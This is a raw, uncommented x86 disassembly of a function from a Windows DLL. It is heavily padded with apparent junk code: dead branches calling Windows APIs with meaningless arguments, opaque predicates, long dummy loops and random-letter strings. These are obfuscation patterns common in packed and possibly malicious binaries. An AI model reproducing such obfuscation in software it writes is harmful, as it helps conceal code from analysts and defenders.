jmp 0x10018eaa
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1b
jae 0x10019bb0
mov dword [ebp - 0x1c], 0xf01c0890
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x198], 0
jmp 0x10018ee8
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x10018f04
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x130], 0
jmp 0x10018edb
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x1c], 0
jmp 0x10018f1d
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jg 0x100190ee
mov dword [ebp - 0x6e0], 1
mov dword [ebp - 0xfc], 0
jmp 0x10018f4a
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jg 0x10018fab
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x130]
mov dword [ebp - 0x358], eax
mov byte [ebp - 0xd7], 0
movzx eax, byte [ebp - 0xd7]
test eax, eax
je 0x10018fa9
push 0
push 0xf63
push 0x9b5
push 0xe1a
push 0x1324
push 0x1de
push 0x131c
push 0x3e3
push 0x259c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
jmp 0x10018f3d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x130]
mov dword [ebp - 0x894], eax
mov eax, 0x3ec3d4e7
test eax, eax
je 0x10019083
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x130], 0
je 0x10019000
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x292978d8
sub edx, dword [ebp + ecx*4 - 0x130]
imul edx, dword [ebp + eax*4 - 0x130]
cmp edx, 1
jbe 0x10019000
mov dword [ebp - 0x5f4], 1
jmp 0x10019007
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x130]
mov dword [ebp - 0x8a4], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x358]
cmp ecx, dword [ebp + eax*4 - 0x130]
je 0x1001903e
mov dword [ebp - 0x518], 1
jmp 0x10019045
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x130]
cmp dword [ebp - 0x518], eax
jne 0x10019063
mov dword [ebp - 0x360], 1
jmp 0x1001906a
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x360]
add eax, 0xfffd
je 0x10019083
mov dword [ebp - 0x488], 1
jmp 0x1001908a
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x130]
cmp dword [ebp - 0x488], eax
jne 0x100190a8
mov dword [ebp - 0x368], 1
jmp 0x100190af
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x130]
mov ecx, dword [ebp - 0x368]
lea eax, [ecx + eax - 4]
cmp eax, 0xffff
je 0x100190d6
mov dword [ebp - 0x5a0], 1
jmp 0x100190dd
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x6e0], eax
jmp 0x10018f16
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x128]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x100196a5
mov dword [ebp - 0x280], 0x4caf14c9
mov dword [ebp - 0x604], 0xffffffff
mov dword [ebp - 0x1f0], 0
jmp 0x10019136
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jge 0x10019152
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0xa4], 0x8876
jmp 0x10019129
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x1001916c
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0
je 0x100191e0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4], 0xf65e
jg 0x100191a7
mov dword [ebp - 0x5fc], 1
jmp 0x100191ae
and dword [ebp - 0x5fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0x8ac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4], 0xa373
jl 0x100191e0
mov dword [ebp - 0x5e4], 1
jmp 0x100191e7
and dword [ebp - 0x5e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0x8b4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0x8bc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4], 0
jne 0x1001922f
cmp dword [ebp - 0x280], 0
jne 0x1001922f
and dword [ebp - 0x370], 0
jmp 0x10019239
mov dword [ebp - 0x370], 1
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x604], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x128]
inc eax
mov dword [ebp - 0xec], eax
push 3
lea ecx, [ebp - 0x95c]
call fcn.10004d70
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x8c4], 0x7689
mov dword [ebp - 0x8cc], 0xfffffff8
mov dword [ebp - 0x8d4], 0
mov dword [ebp - 0x8dc], 0xf7a73d2
mov dword [ebp - 0x8e4], 0xffffffff
push 4
lea ecx, [ebp - 0x948]
call fcn.10004d70
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x490], 0xbdbdf7c
mov dword [ebp - 0x60], 0
jmp 0x100192c8
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x100192e4
push dword [ebp - 0x60]
lea ecx, [ebp - 0x95c]
call fcn.10004e0f
mov dword [eax], 0x2135
jmp 0x100192c1
mov dword [ebp - 0x60], 0
jmp 0x100192f4
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 4
jge 0x1001930d
push dword [ebp - 0x60]
lea ecx, [ebp - 0x948]
call fcn.10004e0f
and dword [eax], 0
jmp 0x100192ed
mov eax, dword [ebp - 0x490]
dec eax
mov dword [ebp - 0x490], eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x948]
call fcn.10004df3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x95c]
call fcn.10004df3
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x128]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x498], 0x28f
mov dword [ebp - 0x6e8], 0xfffffff9
mov dword [ebp - 0x1a0], 1
or dword [ebp - 0x808], 0xffffffff
or dword [ebp - 0x804], 0xffffffff
or dword [ebp - 0x800], 0xffffffff
or dword [ebp - 0x7fc], 0xffffffff
lea ecx, [ebp - 0x281]
call fcn.10004e1e
push eax
lea eax, [ebp - 0x7f8]
push eax
lea eax, [ebp - 0x808]
push eax
lea ecx, [ebp - 0xaa4]
call fcn.10004e21
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x840]
call fcn.10004dcd
mov dword [ebp - 4], 0xf
push 4
lea ecx, [ebp - 0x788]
call fcn.10004d70
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x4c], 0
jmp 0x100193e4
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 4
jge 0x100193fa
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xa00], 0x78f1e0c8
jmp 0x100193dd
mov dword [ebp - 0x4c], 0
jmp 0x1001940a
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 4
jge 0x10019423
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x788]
call fcn.10004e0f
or dword [eax], 0xffffffff
jmp 0x10019403
xor eax, eax
inc eax
je 0x1001942f
cmp dword [ebp - 0x6e8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa00]
cmp eax, dword [ebp - 0x498]
jle 0x10019460
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xa00], 0
je 0x10019460
mov dword [ebp - 0x378], 1
jmp 0x10019467
and dword [ebp - 0x378], 0
imul eax, dword [ebp - 0x378], 0xb400
test eax, eax
je 0x10019491
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xa00], 0
je 0x10019491
mov dword [ebp - 0x520], 1
jmp 0x10019498
and dword [ebp - 0x520], 0
cmp dword [ebp - 0x520], 0xa388
jle 0x100194b0
mov dword [ebp - 0x380], 1
jmp 0x100194b7
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x380]
imul eax, dword [ebp - 0x498]
mov dword [ebp - 0x388], eax
push 2
lea ecx, [ebp - 0x840]
call fcn.10004e0f
mov ecx, dword [ebp - 0x388]
mov dword [eax], ecx
cmp dword [ebp - 0x388], 0
jne 0x10019503
push 2
lea ecx, [ebp - 0x788]
call fcn.10004e0f
cmp dword [eax], 0
jne 0x10019503
and dword [ebp - 0x568], 0
jmp 0x1001950d
mov dword [ebp - 0x568], 1
cmp dword [ebp - 0x568], 0x1bd43d9c
je 0x1001953c
or eax, 0xffffffff
je 0x1001953c
push 2
lea ecx, [ebp - 0x840]
call fcn.10004e0f
cmp dword [eax], 0
je 0x1001953c
mov dword [ebp - 0x390], 1
jmp 0x10019543
and dword [ebp - 0x390], 0
push 2
lea ecx, [ebp - 0x788]
call fcn.10004e0f
mov ecx, dword [ebp - 0x390]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x10019571
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xc
jg 0x10019682
push 1
lea ecx, [ebp - 0x77c]
call fcn.10004d70
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x100], 1
mov dword [ebp - 0x230], 0
jmp 0x100195b2
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 1
jge 0x100195d4
push dword [ebp - 0x230]
lea ecx, [ebp - 0x77c]
call fcn.10004e0f
mov dword [eax], 1
jmp 0x100195a5
push 0
lea ecx, [ebp - 0x77c]
call fcn.10004e0f
cmp dword [eax], 0
jne 0x10019606
push 0
lea ecx, [ebp - 0x77c]
call fcn.10004e0f
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x10019606
mov dword [ebp - 0x4a0], 1
jmp 0x1001960d
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x100], 0
jmp 0x10019632
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 3
jg 0x1001966e
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x1001966c
push 0xf78
push 0x1c1a
push 0x235e
push 0x2613
push 0x23b3
call dword [sym.imp.GDI32.dll_Ellipse]
jmp 0x10019625
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x77c]
call fcn.10004df3
jmp 0x10019564
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x788]
call fcn.10004df3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x840]
call fcn.10004df3
jmp 0x10018ea2
mov dword [ebp - 0x34], 0x60477862
mov dword [ebp - 0x1a8], 0
jmp 0x100196c5
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 3
jge 0x100196e1
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x7a0], 0x2167fa5c
jmp 0x100196b8
mov dword [ebp - 0x34], 0
jmp 0x100196f1
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff7
jge 0x1001970e
mov dword [ebp - 0x60c], 0xffffffff
cmp dword [ebp - 0x60c], 0
je 0x1001970c
jmp 0x1001970e
jmp 0x100196ea
mov dword [ebp - 0x34], 2
jmp 0x1001971e
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x100197dd
mov dword [ebp - 0x73c], 0xffffffff
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x7a0], 0
je 0x10019744
jmp 0x100197dd
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x7a0], 0
jle 0x1001975d
mov dword [ebp - 0x528], 1
jmp 0x10019764
and dword [ebp - 0x528], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7a0], 0
je 0x1001977f
mov dword [ebp - 0x398], 1
jmp 0x10019786
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x7a0]
cmp dword [ebp - 0x398], eax
je 0x100197a4
mov dword [ebp - 0x3a0], 1
jmp 0x100197ab
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x528]
cmp eax, dword [ebp - 0x3a0]
jg 0x100197c5
mov dword [ebp - 0x4a8], 1
jmp 0x100197cc
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x73c], eax
jmp 0x10019717
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xec]
movzx eax, byte [ebp + eax - 0x12a]
movzx eax, word [ebp + eax*2 - 0x874]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x127]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xec]
movzx eax, byte [ebp + eax - 0x12a]
movzx eax, word [ebp + eax*2 - 0x874]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x127]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xec]
movzx eax, byte [ebp + eax - 0x12a]
movzx eax, word [ebp + eax*2 - 0x874]
mov esi, dword [ebp - 0x20]
movzx esi, byte [ebp + esi - 0x127]
add esi, eax
sub esi, edx
sub esi, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x128]
mov word [ebp + eax*2 - 0x874], si
mov dword [ebp - 0x8ec], 0x13f1
mov dword [ebp - 0x744], 0xf0946507
mov dword [ebp - 0x61c], 0xc5eb2006
mov dword [ebp - 0x3b8], 0xffffffff
mov dword [ebp - 0x8f4], 0xffffffff
push 2
lea ecx, [ebp - 0x98c]
call fcn.10004d70
mov dword [ebp - 4], 0x12
push 2
lea ecx, [ebp - 0x7b8]
call fcn.10004d70
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x3a8], 0x6635
mov dword [ebp - 0x614], str.dcpwsgzu_lvyock_enxjzoxe_lcb_vfobwauqc_pgi_evtd_iyfwo_lcawzb_jovryyei_eexx_guwjjgky
cmp dword [ebp - 0x3a8], 0x66d3
jle 0x10019989
and dword [ebp - 0x220], 0
jmp 0x100198f7
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x5fcd
jge 0x10019989
and dword [ebp - 0x1f8], 0
jmp 0x1001991d
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x2f46
jge 0x10019984
and dword [ebp - 0x1b0], 0
jmp 0x1001993f
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x66de
jge 0x10019982
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x1b0]
and eax, dword [ebp - 0x220]
cdq
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], edx
push dword [ebp - 0x674]
push dword [ebp - 0x678]
mov ecx, 0x100720b8
call fcn.10001c38
jmp 0x10019932
jmp 0x10019910
jmp 0x100198ea
mov dword [ebp - 0x8fc], 0xfffffffd
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x3a8], 0x639c
jge 0x100199b3
mov edx, dword [ebp - 0x614]
mov ecx, 0x100720b8
call fcn.100035ef
jmp 0x100199cf
mov dword [ebp - 4], 0x13
jmp 0x100199df
mov dword [ebp - 0x904], 0x8914be49
mov dword [ebp - 0x14], 0
jmp 0x100199f9
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10019a15
push dword [ebp - 0x14]
lea ecx, [ebp - 0x98c]
call fcn.10004e0f
mov dword [eax], 1
jmp 0x100199f2
mov dword [ebp - 0x14], 0
jmp 0x10019a25
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10019a41
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7b8]
call fcn.10004e0f
mov dword [eax], 1
jmp 0x10019a1e
mov dword [ebp - 0x14], 0
jmp 0x10019a51
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10019a67
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa84], 0xebdb88dc
jmp 0x10019a4a
mov dword [ebp - 0x14], 0
jmp 0x10019a77
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10019a8d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x684], 3
jmp 0x10019a70
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x684]
mov dword [ebp - 0x6f0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x684]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x684], eax
cmp dword [ebp - 0x6f0], 0xffffffff
jb 0x10019ad0
mov dword [ebp - 0x594], 1
jmp 0x10019ad7
and dword [ebp - 0x594], 0
cmp dword [ebp - 0x594], 0xcb4e3473
jae 0x10019aef
mov dword [ebp - 0x3b0], 1
jmp 0x10019af6
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x61c]
imul eax, dword [ebp - 0x3b0]
test eax, eax
jne 0x10019b13
mov dword [ebp - 0x4b0], 1
jmp 0x10019b1a
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x3b8], eax
mov esi, dword [ebp - 0x3b8]
push 0
lea ecx, [ebp - 0x7b8]
call fcn.10004e0f
cmp esi, dword [eax]
jg 0x10019b49
mov dword [ebp - 0x530], 1
jmp 0x10019b50
and dword [ebp - 0x530], 0
push 0
lea ecx, [ebp - 0x7b8]
call fcn.10004e0f
mov ecx, dword [ebp - 0x530]
cmp ecx, dword [eax]
jl 0x10019b73
mov dword [ebp - 0x3c0], 1
jmp 0x10019b7a
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x744], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x7b8]
call fcn.10004df3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98c]
call fcn.10004df3
and dword [ebp - 0xec], 0
jmp 0x10018ea2
mov dword [ebp - 0x84], 0xba339924
mov dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x400], 0x4ad4db1d
mov dword [ebp - 0x4e0], 0xffffffff
mov dword [ebp - 0x62c], 0x96354d18
mov dword [ebp - 0x90c], 0x3dc28bf2
mov dword [ebp - 0x1b8], 0
jmp 0x10019c0c
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 3
jge 0x10019c28
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x99c], 0x6bbb
jmp 0x10019bff
mov dword [ebp - 0x4c0], 0x750e
mov dword [ebp - 0x700], str.oftx_ffcuarw_aqxlmn_tpwwarn_hbcma_rekvmhiv_jsms_qegybgip_donwi_augzuf_iwktc_tfftec_eqrs
cmp dword [ebp - 0x4c0], 0x773d
jle 0x10019cec
and dword [ebp - 0x200], 0
jmp 0x10019c62
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x2fea
jge 0x10019cec
and dword [ebp - 0x1c0], 0
jmp 0x10019c84
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x7598
jge 0x10019ce7
mov eax, dword [ebp - 0x200]
xor eax, dword [ebp - 0x1c0]
cdq
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], edx
push dword [ebp - 0x68c]
push dword [ebp - 0x690]
lea ecx, [ebp - 0xad4]
call fcn.10001a51
pop ecx
pop ecx
mov dword [ebp - 0x624], eax
mov ecx, dword [ebp - 0x624]
call fcn.10001c18
push eax
call fcn.1003fd76
pop ecx
lea ecx, [ebp - 0xad4]
call fcn.10001c0e
jmp 0x10019c77
jmp 0x10019c55
cmp dword [ebp - 0x84], 1
jg 0x10019d01
mov dword [ebp - 0x4b8], 1
jmp 0x10019d08
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x4b8]
cmp eax, 0x7e2f
jle 0x10019d27
mov dword [ebp - 0x3c8], 1
jmp 0x10019d2e
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x3c8], eax
jle 0x10019d48
mov dword [ebp - 0x570], 1
jmp 0x10019d4f
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x570], eax
jge 0x10019d69
mov dword [ebp - 0x3d0], 1
jmp 0x10019d70
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x68], eax
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x4c0], 0x71af
jge 0x10019d98
push dword [ebp - 0x700]
call fcn.1003fd76
pop ecx
jmp 0x10019db4
or dword [ebp - 4], 0xffffffff
jmp 0x10019dbe
mov dword [ebp - 0x68], 0
jmp 0x10019dce
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xfffffff8
je 0x1001a0a9
mov dword [ebp - 0x240], 0x4c3e
mov dword [ebp - 0xf0], 0xc531364f
mov dword [ebp - 0x270], 0x83cd
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x68]
jle 0x10019e44
cmp dword [ebp - 0x240], 0xfbc6
jle 0x10019e19
mov dword [ebp - 0x3d8], 1
jmp 0x10019e20
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0x3d8], eax
je 0x10019e3a
mov dword [ebp - 0x538], 1
jmp 0x10019e41
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x400], 0x879a
jne 0x10019e5c
mov dword [ebp - 0x3e0], 1
jmp 0x10019e63
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x3e0]
sub eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0xf0]
jl 0x10019e83
mov dword [ebp - 0x4c8], 1
jmp 0x10019e8a
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x4c8]
jle 0x10019ea1
mov dword [ebp - 0x3e8], 1
jmp 0x10019ea8
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x3e8], eax
je 0x10019ec2
mov dword [ebp - 0x58c], 1
jmp 0x10019ec9
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x914], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x9ec], eax
mov eax, 0xe2e7
test eax, eax
je 0x10019f0b
mov eax, 0xac89
test eax, eax
je 0x10019f0b
mov dword [ebp - 0x3f0], 1
jmp 0x10019f12
and dword [ebp - 0x3f0], 0
cmp dword [ebp - 0x3f0], 0xfff6
jae 0x10019f2a
mov dword [ebp - 0x3f8], 1
jmp 0x10019f31
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x3f8]
jg 0x10019f57
mov dword [ebp - 0x540], 1
jmp 0x10019f5e
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x540], eax
jl 0x10019f81
cmp dword [ebp - 0x270], 0
je 0x10019f81
mov dword [ebp - 0x4d8], 1
jmp 0x10019f88
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x400]
cmp dword [ebp - 0x4d8], eax
jne 0x10019fa2
mov dword [ebp - 0x408], 1
jmp 0x10019fa9
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x408], eax
jle 0x10019fc3
mov dword [ebp - 0x578], 1
jmp 0x10019fca
and dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0x39bb
jge 0x10019fe2
mov dword [ebp - 0x410], 1
jmp 0x10019fe9
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 0xffffffff
jg 0x1001a00a
mov dword [ebp - 0x418], 1
jmp 0x1001a011
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x240]
jg 0x1001a037
mov dword [ebp - 0x548], 1
jmp 0x1001a03e
and dword [ebp - 0x548], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x548]
sub ecx, dword [ebp + eax - 0x99c]
cmp ecx, dword [ebp - 0x68]
jne 0x1001a062
mov dword [ebp - 0x420], 1
jmp 0x1001a069
and dword [ebp - 0x420], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x99c]
cmp dword [ebp - 0x420], eax
jl 0x1001a091
push 8
pop eax
test eax, eax
je 0x1001a091
mov dword [ebp - 0x4e8], 1
jmp 0x1001a098
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x62c], eax
jmp 0x10019dc7
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x874], cx
mov dword [ebp - 0x7e0], 0x3df75dce
mov dword [ebp - 0x7dc], 0x3df75dce
mov dword [ebp - 0x7d8], 0x3df75dce
mov dword [ebp - 0x7d4], 0x3df75dce
lea ecx, [ebp - 0x251]
call fcn.10004e1e
push eax
lea eax, [ebp - 0x7d0]
push eax
lea eax, [ebp - 0x7e0]
push eax
lea ecx, [ebp - 0xabc]
call fcn.10004e21
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa74]
call fcn.10004dcd
mov dword [ebp - 4], 0x18
push 1
lea ecx, [ebp - 0x70c]
call fcn.10004d70
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x1c8], 0
jmp 0x1001a147
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 1
jge 0x1001a166
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0x70c]
call fcn.10004e0f
or dword [eax], 0xffffffff
jmp 0x1001a13a
push 0
lea ecx, [ebp - 0x70c]
call fcn.10004e0f
mov dword [eax], 3
jmp 0x1001a19f
push 0
lea ecx, [ebp - 0x70c]
call fcn.10004e0f
mov dword [ebp - 0x428], eax
mov eax, dword [ebp - 0x428]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x428]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x70c]
call fcn.10004e0f
cmp dword [eax], 0
jl 0x1001a1d2
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x1001a1d0
push 0xaaf
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
jmp 0x1001a17b
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x70c]
call fcn.10004df3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa74]
call fcn.10004df3
lea eax, [ebp - 0x874]
push eax
lea ecx, [ebp - 0xb1c]
call fcn.10022715
mov dword [ebp - 0x74c], eax
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x634], eax
mov dword [ebp - 4], 0x1a
push dword [ebp - 0x634]
call fcn.1001348e
pop ecx
mov dword [ebp - 0x494], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb1c]
call fcn.10010ea1
and dword [ebp - 0x208], 0
